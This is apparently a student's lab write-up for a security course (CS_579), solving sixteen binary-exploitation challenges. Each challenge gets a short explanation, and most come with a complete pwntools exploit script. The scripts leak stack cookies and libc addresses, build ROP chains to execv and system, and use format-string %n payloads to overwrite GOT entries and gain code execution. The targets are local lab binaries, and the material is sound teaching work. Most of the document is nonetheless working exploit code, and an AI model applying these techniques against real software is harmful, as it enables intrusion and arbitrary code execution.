CS_579
Chun-Yu Chen

1. 0-sr-1

In this case, we use the concept of sequential read to get the stack cookie to pass the examination of it. After that, we can use ROP to trigger the execv function.

sr.py

```
sr.py
#!/use/bin/env python

from pwn import *

p = process('./sr-1')

print(p.recvline().strip())
print(p.recvline().strip())

p.sendline('400')

#  0x90      rbp-0x8
#[ buffer ][ stack cookie ][ saved rbp ][ ret addr ]

data = p.recv(400)

chunks = [u64(data[i*8:i*8+8]) for i in xrange(len(data)/8)]

for addr in chunks:
    print(hex(addr))
"""
0xf2b3e363c9a82b00  stack_cookie
0x7fffb7fc1110      +1  saved rbp
0x5583361049f6      +2  return addr
0x558336104a00          main reserve block 0
0x7fffb7fc1208          1
0x7fffb7fc11f8          2
0x100000000             3
0x558336104a00          saved rbp of main
0x7f3572a50840          return addr of main ->libc_start_main
"""
#print(hex(chunks[0x88/8]))
stack_cookie_value = chunks[0x88/8]
libc_start_main_somewhere = chunks[0x88/8 + 8]
code_addr_base = chunks[0x88/8 + 2] - 0x9f6 #cause it align the page
buf = 'A' * 0X88 + p64(stack_cookie_value) + "RBP!RBP!"

#we know how to change EIP. Where do you want to tun?
#0x0000000000000a63 : pop rdi ; ret
#0x0000000000000a61 : pop rsi ; pop r15 ; ret
addr_at = code_addr_base + 0x20
p_rdi_r = code_addr_base + 0xa63
p_rsi_r15_r = code_addr_base + 0xa61

"""
pwndbg> x/gx $rsp
0x7ffd58b92548: 0x00007fbe35fab840
pwndbg> print execv
$1 = {int (const char *, char * const *)} 0x7fbe360578e0 <execv>
"""
libc_execv = libc_start_main_somewhere - 0x00007fbe35fab840 + 0x7fbe360578e0
#execv("@",0)
buf += p64(p_rdi_r)
buf += p64(addr_at)
buf += p64(p_rsi_r15_r)
buf += p64(0)
buf += p64(0)
buf += p64(libc_execv)

p.sendline(buf)
p.interactive()
```

2. 1-ar-2

In the case, the concept of arbitrary read was used. We can read 8 bytes from the address of printf_got to get the address of libc_printf. After that, the precise address of system can be calculated by the offset between printf and system. Finally, use the ROP to trigger the libc_system.

ar.py

```
ar.py
#!/usr/bin/env python

from pwn import *

envs = {'PATH':'./:./bin:/usr/bin'}
p = process('./ar-2', env=envs)

printf_got = p.elf.got['printf']
print(hex(printf_got))

print(p.recvline().strip())
print(p.recvline().strip())

p.sendline('8')
print(p.recvline().strip())
p.sendline(hex(printf_got))

print(p.recvline().strip())

data = p.recv(8)
print(repr(data))
libc_printf = u64(data)

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
printf_offset = libc.symbols['printf']
system_offset = libc.symbols['system']

print(hex(libc_printf))

libc_system = libc_printf - printf_offset + system_offset

print(p.recvline().strip())

#[ buffer rbp-0x80 ] [ saved EBP ] [ret addr]

buf = 'A' * 0x80 + "RBP!RBP!"

"""
0x0000000000400a2c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400a2e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400a30 : pop r14 ; pop r15 ; ret
0x0000000000400a32 : pop r15 ; ret
0x0000000000400822 : pop rbp ; mov byte ptr [rip + 0x20086e], 1 ; ret
0x00000000004007af : pop rbp ; mov edi, 0x601080 ; jmp rax
0x0000000000400a2b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400a2f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004007c0 : pop rbp ; ret
0x00000000004009cb : pop rbx ; pop rbp ; ret
0x0000000000400a33 : pop rdi ; ret
0x0000000000400a31 : pop rsi ; pop r15 ; ret
0x0000000000400a2d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
"""
p_redi_r = 0x400a33
#0x400020:       "@"
addr_at = 0x400020

#system("@")
buf += p64(p_redi_r)
buf += p64(addr_at)
buf += p64(libc_system)
p.sendline(buf)
p.interactive()
```

3. 2-aw-1

In this case, the concept of arbitrary write was used. We can exploit the function program provides to write the address of the function which we want to run into the address of printf_got. Finally, the program will execute the please_execute_me when it calls the printf function.

aw.py

```
#!/use/bin/env python

from pwn import *

#context.terminal = ['tmux', 'tplitw', '-h']

p = process('./aw-1')

#gdb.attach(p)

printf_got = p.elf.got['printf']
addr_target_func = p.elf.symbols['please_execute_me']

print(hex(printf_got))
print(hex(addr_target_func))

print(p.recvline().strip())
print(p.recvline().strip())

p.sendline('8')

print(p.recvline().strip())
p.sendline(hex(printf_got))
print(p.recvline().strip())
p.send(p64(addr_target_func))
p.interactive()
```

4. 3-aw-2

In this case, the concept of arbitrary read and write were used. First, we got the value of libc_put by read_function then use it to calculate the precise address of libc_system. After that, we write the address of libc_system into the address of printf_got to trigger the system function then run the Writing file (set PATH).

aw.py

aw.py

```python
#!/use/bin/env python

from pwn import *

#context.terminal = ['tmux','splitw','-h']

envs = { 'PATH' : '.:/bin:/usr/bin' }

p = process('./aw-2',env=envs)
#gdb.attach(p)

puts_got = p.elf.got['puts']
printf_got = p.elf.got['printf']

print(p.recvline().strip())
print(p.recvline().strip())

p.sendline('8')

print(hex(puts_got))
print(p.recvline().strip())
p.sendline(hex(puts_got))

print(p.recvline().strip())
byte_libc_puts = p.recv(8)
libc_puts = u64(byte_libc_puts)

print(hex(libc_puts))

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

puts_offset = libc.symbols['puts']
system_offset = libc.symbols['system']

libc_system = libc_puts - puts_offset + system_offset

print(p.recvline().strip())
print(p.recvline().strip())

p.sendline('8')

print(p.recvline().strip())
print(hex(printf_got))
p.sendline(hex(printf_got))
#print(p.recvline().strip())
p.sendline(p64(libc_system))
p.interactive()
```

CS_579
Chun-Yu Chen

5. 4-fs-read-1-32

In this case, we used the concept of format string. We can use "%p" to get the value of the stack. Thus, we type like "%p %p %p %p %p %p %p" to get the several values then compare them to the answer. We can find that the answer will be at 6^{th} value.

**********program**********
$ ./fs-read-1-32
Please type your name first:
%p %p %p %p %p %p %p %p %p %p %p

Hello 0xffac3b6c 0x3f 0x804870a 0xf7f437eb (nil) **0x6d6155cc** 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070

Can you guess the random?
0x6d6155cc
Great!

6. 5-fs-read-1-64

In this case, we used the concept of format string. We can use "%p" to get the value of the stack. Thus, we type like "%p %p %p %p %p %p %p" to get the several values then compare them to the answer. We can find that the answer will be at 7^{th} value.

**********program**********
$ ./fs-read-1-64
Please type your name first:
%p %p %p %p %p %p %p %p %p %p %p %p

Hello 0x400b21 0x7f913d15b780 0x6 0x7f913d367700 0x6 (nil) **0xf0662cc100000000** 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0xa702520

Can you guess the random?
0xf0662cc1
Great!

7. 6-fs-read-2-32

In this case, we used the concept of format string. However, we cannot use the previous method to get the value because of the number limitation. Thus, we are going to use like %position$p to directly read the value at the designated position. By using gdb, we know that the random was putted at ebp-0x10 and the first address of the printed value. Thus, we can calculate the precise gap we need to cross then read the random number.
((0xff915758 - 0xff915504)/4 +1 →150)

**********program**********
$ ./fs-read-2-32
Please type your name first:
%150$p
Hello **0xdba34866**

Can you guess the random?
0xdba34866
Great!

8. 7-fs-read-2-64

In this case, we used the concept of format string. However, we cannot use the previous method to get the value because of the number limitation. Thus, we are going to use like %position$p to directly read the value at the designated position. By using gdb, we know that the random was putted at ebp-0x1c and the first address of the printed value. Thus, we can calculate the precise gap we need to cross then read the random number. But we have to add 5 more number because it exists more 5 values before the top of stack.
((0x7ffc3c54fd14 - 0x7ffc3c54fad0) / 8 + 1 + 5 → 78)

**********program**********
$ ./fs-read-2-64
Please type your name first:
%78$p
Hello **0xd482a519**00000007

Can you guess the random?
0xd482a519
Great!

9. 8-fs-arbt-read-32

In this case, the random number was stored as global variable and its address is fixed. Thus, we can use format string to read the value from the fixed address then extract the number we need.

fs.py

fs.py
```
#!/usr/bin/env python

from pwn import *

addr_random_value = 0x804a050

p = process("./fs-arbt-read-32")

print(p.recvline().strip())

buf = p32(addr_random_value) + '%7$s'
p.sendline(buf)

response = p.recvline().strip()

print(repr(response))

answer = hex(u32(response[-4:]))

p.sendline(answer)
p.interactive()
```

CS_579
Chun-Yu Chen

10. 9-fs-arbt-read-64

11. In this case, the random number was stored as global variable and its address is fixed. Thus, we can use format string to read the value from the fixed address then extract the number we need. But the address we want to read must be placed after the instruction because the program will stop if it meets the null in 64 bits system.

fs.py

fs.py
```python
#!/usr/bin/env python

from pwn import *

addr_random_value = 0x60109c

p = process("./fs-arbt-read-64")

print(p.recvline().strip())

buf = '%9$s' + "\x00\x00\x00\x00" + p64(addr_random_value)
p.sendline(buf)

response = p.recvline().strip()
print(repr(response))
answer = hex(u32(response[-4:]))

p.sendline(answer)
p.interactive()
```

CS_579
Chun-Yu Chen

12. a-fs-arbt-write-32

In this case, we try to write the correct value into global_random. First, we got the address of variable, global_random. Separate it to two parts, then write the 0xfaceb00c into it.

It will be like:
"\x0c\xb0\x00\x00" (10 11 12 13)
then
"\xce\xfa\x00\x00" (12 13 14 15)
→"\x0c\xb0\xce\xfa" (finally)

fs.py

```
fs.py
#!/usr/bin/env python

from pwn import *
p = process('./fs-arbt-write-32')

addr_random = p.elf.symbols['global_random']

print(addr_random)
print(p.recvline().strip())

target_value = 0xfaceb00c

# %7$p
#buf = 'AAAABBBB%p %p %p %p %p %p %p %p %p %p %p'

#printed 8 bytes --------------------------v
#(0xb00c - 8)
#-------------------------------------------------------v (0xb00c)
buf = p32(addr_random) + p32(addr_random + 2) + "%45060x" + "%7$n"
buf += "%19138x" + "%8$n"
p.sendline(buf)

response = p.recvline().strip()

print(response)

p.interactive()
```

13. b-fs-arbt-write-64

In this case, we try to write the correct value into global_random. First, we got the address of variable, global_random. Separate it to two parts, then write the 0xfaceb00c into it. In addition, the instruction must be placed before the address of global random because the program will stop when it meets the null.

fs.py

```python
#!/usr/bin/env python

from pwn import *

#context.terminal = ['tmux','splitw','-h']

p = process('./fs-arbt-write-64')

#gdb.attach(p, 'b *0x4008fa')

addr_random = p.elf.symbols['global_random']

print(hex(addr_random))
print(p.recvline().strip())

target_value = 0xfaceb00c

#buf = '%p %p %p %p %p %p %p %p %p %p %p' + "aaaaaaaa"

buf =  "%45068x%9$n" + "%19138x%10$nA" + p64(addr_random) + p64(addr_random+2)

p.sendline(buf)

response = p.recvline().strip()

print(response)
p.interactive()
```

CS_579
Chun-Yu Chen

14. c-fs-code-exec-32

In this case, we use printf as AR to leak the GOT of printf in the beginning. Then, get the address of system in libc. Finally, use printf as AW to overwrite GOT[‘printf’] = libc_system.

fs.py

```
fs.py
#!/usr/bin/env python

from pwn import *

envs = {'PATH':'./:/bin:/usr/bin'}

p = process('./fs-code-exec-32',env=envs)

print(p.recvline().strip())

#step 1: using printf as AR to leak the GOT of printf
got_printf = p.elf.got['printf']

print(hex(got_printf))

#[ address (4 byte) ] %7$p
#[ address (4 byte) ] %7$p

buf = p32(got_printf) + '%7$s'

p.sendline(buf)

line = p.recvline().strip()

print(repr(line))

libc_printf = u32(line[10:14])

print(hex(libc_printf))

# step 2: address of system in libc
e = ELF('/lib/i386-linux-gnu/libc.so.6')

printf_offset = e.symbols['printf']
system_offset = e.symbols['system']

libc_system = libc_printf - printf_offset + system_offset

print(hex(libc_system))
```

```
# step 3:using printf as AW to overwrite GOT['printf'] = libc_system
# %7%n%8$n
buf = 'AAAABBBB'

#   [got printf]  [got printf + 2]

#   v--- start of got of printf
#   [  ] [  ] [  ] [  ] [  ] [  ]
#    XX   YY   00   00
#              ZZ   WW   00   00
buf = p32(got_printf) + p32(got_printf + 2)
#     %7$p              %8$p

first = (libc_system & 0xffff)
second = ((libc_system >> 16) & 0xffff)

while second < first:
    second += 0x10000

second -= first
first -= 8

# 8
buf += "%" + str(first) + "x" + "%7$n"
buf += "%" + str(second)+ "x" + "%8$n"

print(repr(buf))
raw_input('Press ENTER to continue')
p.sendline(buf)

line = p.recvline().strip()
print(repr(line))
line = p.recvline().strip()
print(repr(line))

p.interactive()
```

15. d-fs-code-exec-64

In this case, we use printf as AR to leak the GOT of printf in the beginning. Then, get the address of system in libc. Finally, use printf as AW to overwrite GOT['printf'] = libc_system. Furthermore, we instruction must placed before the address we want to read and write.

fs.py

fs.py

```python
#!/usr/bin/env python

from pwn import *

envs = {'PATH':'./:/bin:/usr/bin'}

p = process('./fs-code-exec-64',env=envs)

print(p.recvline().strip())

#step 1: using printf as AR to leak the GOT of printf
got_printf = p.elf.got['printf']

print(hex(got_printf))

#[ address (4 byte) ] %7$p
#[ address (4 byte) ] %7$p

buf = "%7$s" + "\x00\x00\x00\x00" + p64(got_printf)

p.sendline(buf)

line = p.recvline().strip()

print(repr(line))
print(line[6:14])

libc_printf = u64(line[6:14] + "\x00\x00")

print(hex(libc_printf))

# step 2: address of system in libc
e = ELF('/lib/x86_64-linux-gnu/libc.so.6')

printf_offset = e.symbols['printf']
system_offset = e.symbols['system']

libc_system = libc_printf - printf_offset + system_offset

print(hex(libc_system))
```

```python
# step 3:using printf as AW to oversrite GOT['printf'] = libc_system
# %7%n%8$n
buf = ''

#   [got printf]  [got printf + 2]

#   v--- start of got of printf
#   [  ] [  ] [  ] [  ] [  ] [  ] [  ] [  ]
#    XX   YY   00   00
#              ZZ   WW   00   00
#                        AA   BB   00   00
#                                  aa   bb
#

_1  = (libc_system & 0xffff)
_2 = ((libc_system >> 16) & 0xffff)
_3  = ((libc_system >> 32) & 0xffff)
_4 = ((libc_system >> 48) & 0xffff)

while _2 < _1:
    _2 += 0x10000
while _3 < _2:
    _3 += 0x10000
while _4 < _3:
    _4 += 0x10000

fourth = _4 - _3
third  = _3 - _2
second = _2 - _1
first = _1

__1 = "%09d" % first
__2 = "%09d" % second
__3 = "%09d" % third
__4 = "%09d" % fourth

buf += "%" + __1 + "x" + "%14$n"
buf += "%" + __2 + "x" + "%15$n"
buf += "%" + __3 + "x" + "%16$n"
buf += "%" + __4 + "x" + "%17$n"

buf += p64(got_printf)
buf += p64(got_printf + 2)
buf += p64(got_printf + 4)
buf += p64(got_printf + 6)

print(repr(buf))
raw_input('Press ENTER to continue')
p.sendline(buf)

#line = p.recvline().strip()
#print(repr(line))
#line = p.recvline().strip()
#print(repr(line))

p.interactive()
```

CS_579
Chun-Yu Chen

16. e-fs-code-exec-pie-64

First, use 1st printf as sequential read primitive. Then, use 2nd printf as arbitrary read primitive, leak libc_puts. Finally, use 3rd printf as arbitrary write primitive, overwrite PUTS got.

fs.py

```
fs.py
#!/usr/bin/env python

from pwn import *
envs = {'PATH' : './:/bin:/usr/bin'}
# object 1: getting the GOT address of puts -. get the code address
# stdp 1: using 1st printf as sequential read primitive

#             [    ret    ]
#             [ saved_ebp ]
#             [    ...    ]
#             [    buf    ]
#             [    buf    ]
#             [    ...    ]
#             [    ...    ]
#             [    esp    ]  %p %p %p %p %p

p = process('./fs-code-exec-pie-64',env=envs)

print(p.recvline().strip())

p.sendline("%137$p")

line = p.recvline().strip()

print(line)

hex_addr_code = line.split(' ')[1]

leaked_code_address = int(hex_addr_code, 16)

code_base_addr = leaked_code_address & 0xfffffffffffff000
print(hex(code_base_addr ))

offset_got_puts = p.elf.got['puts']
got_puts = code_base_addr + offset_got_puts

print(hex(got_puts))
```

CS_579
Chun-Yu Chen

fs.py

```python
# objective 2: getting the libc address of puts, read that from GOT of puts
# step 2: using 2nd printf as arbitrary read primitive, leak libc_puts

print(p.recvline().strip())
print(p.recvline().strip())

buf = "%7$s____"
buf += p64(got_puts)

p.sendline(buf)
line = p.recvline().strip()
print(repr(line))

libc_puts = u64(line[14:20] + "\x00\x00")
print(hex(libc_puts))

# objective 3: writing the libc@system address to PUTS GOT
# step 3: using 3rd printf as arbitrary write primitive, overwrite PUTS got.

# [  ] [  ] [  ] [  ] [  ] [  ] [  ] [  ]
#  XX   YY
#             ZZ   WW
#                       AA   BB
#                                 CC   DD

# '%6$p'

e= ELF('/lib/x86_64-linux-gnu/libc.so.6')
puts_offset = e.symbols['puts']
system_offset = e.symbols['system']
libc_system = libc_puts - puts_offset + system_offset
print(hex(libc_system))

print(p.recvline().strip())

buf = ''

_1 = libc_system & 0xffff
_2 = (libc_system >> 16) & 0xffff
_3 = (libc_system >> 32) & 0xffff
_4 = (libc_system >> 48) & 0xffff

while _2 < _1:
    _2 += 0x10000
while _3 < _2:
    _3 += 0x10000
while _4 < _3:
    _4 += 0x10000

fourth = _4 - _3
third = _3 - _2
second = _2 - _1
first = _1

__1 = "%09d" % first
__2 = "%09d" % second
__3 = "%09d" % third
__4 = "%09d" % fourth

buf += '%' + __1 + 'x%14$n'
buf += '%' + __2 + 'x%15$n'
buf += '%' + __3 + 'x%16$n'
buf += '%' + __4 + 'x%17$n'

buf += p64(got_puts)
buf += p64(got_puts+2)
buf += p64(got_puts+4)
buf += p64(got_puts+6)
print(repr(buf))
raw_input("press ENGER to continue")
p.sendline(buf)

p.interactive()
```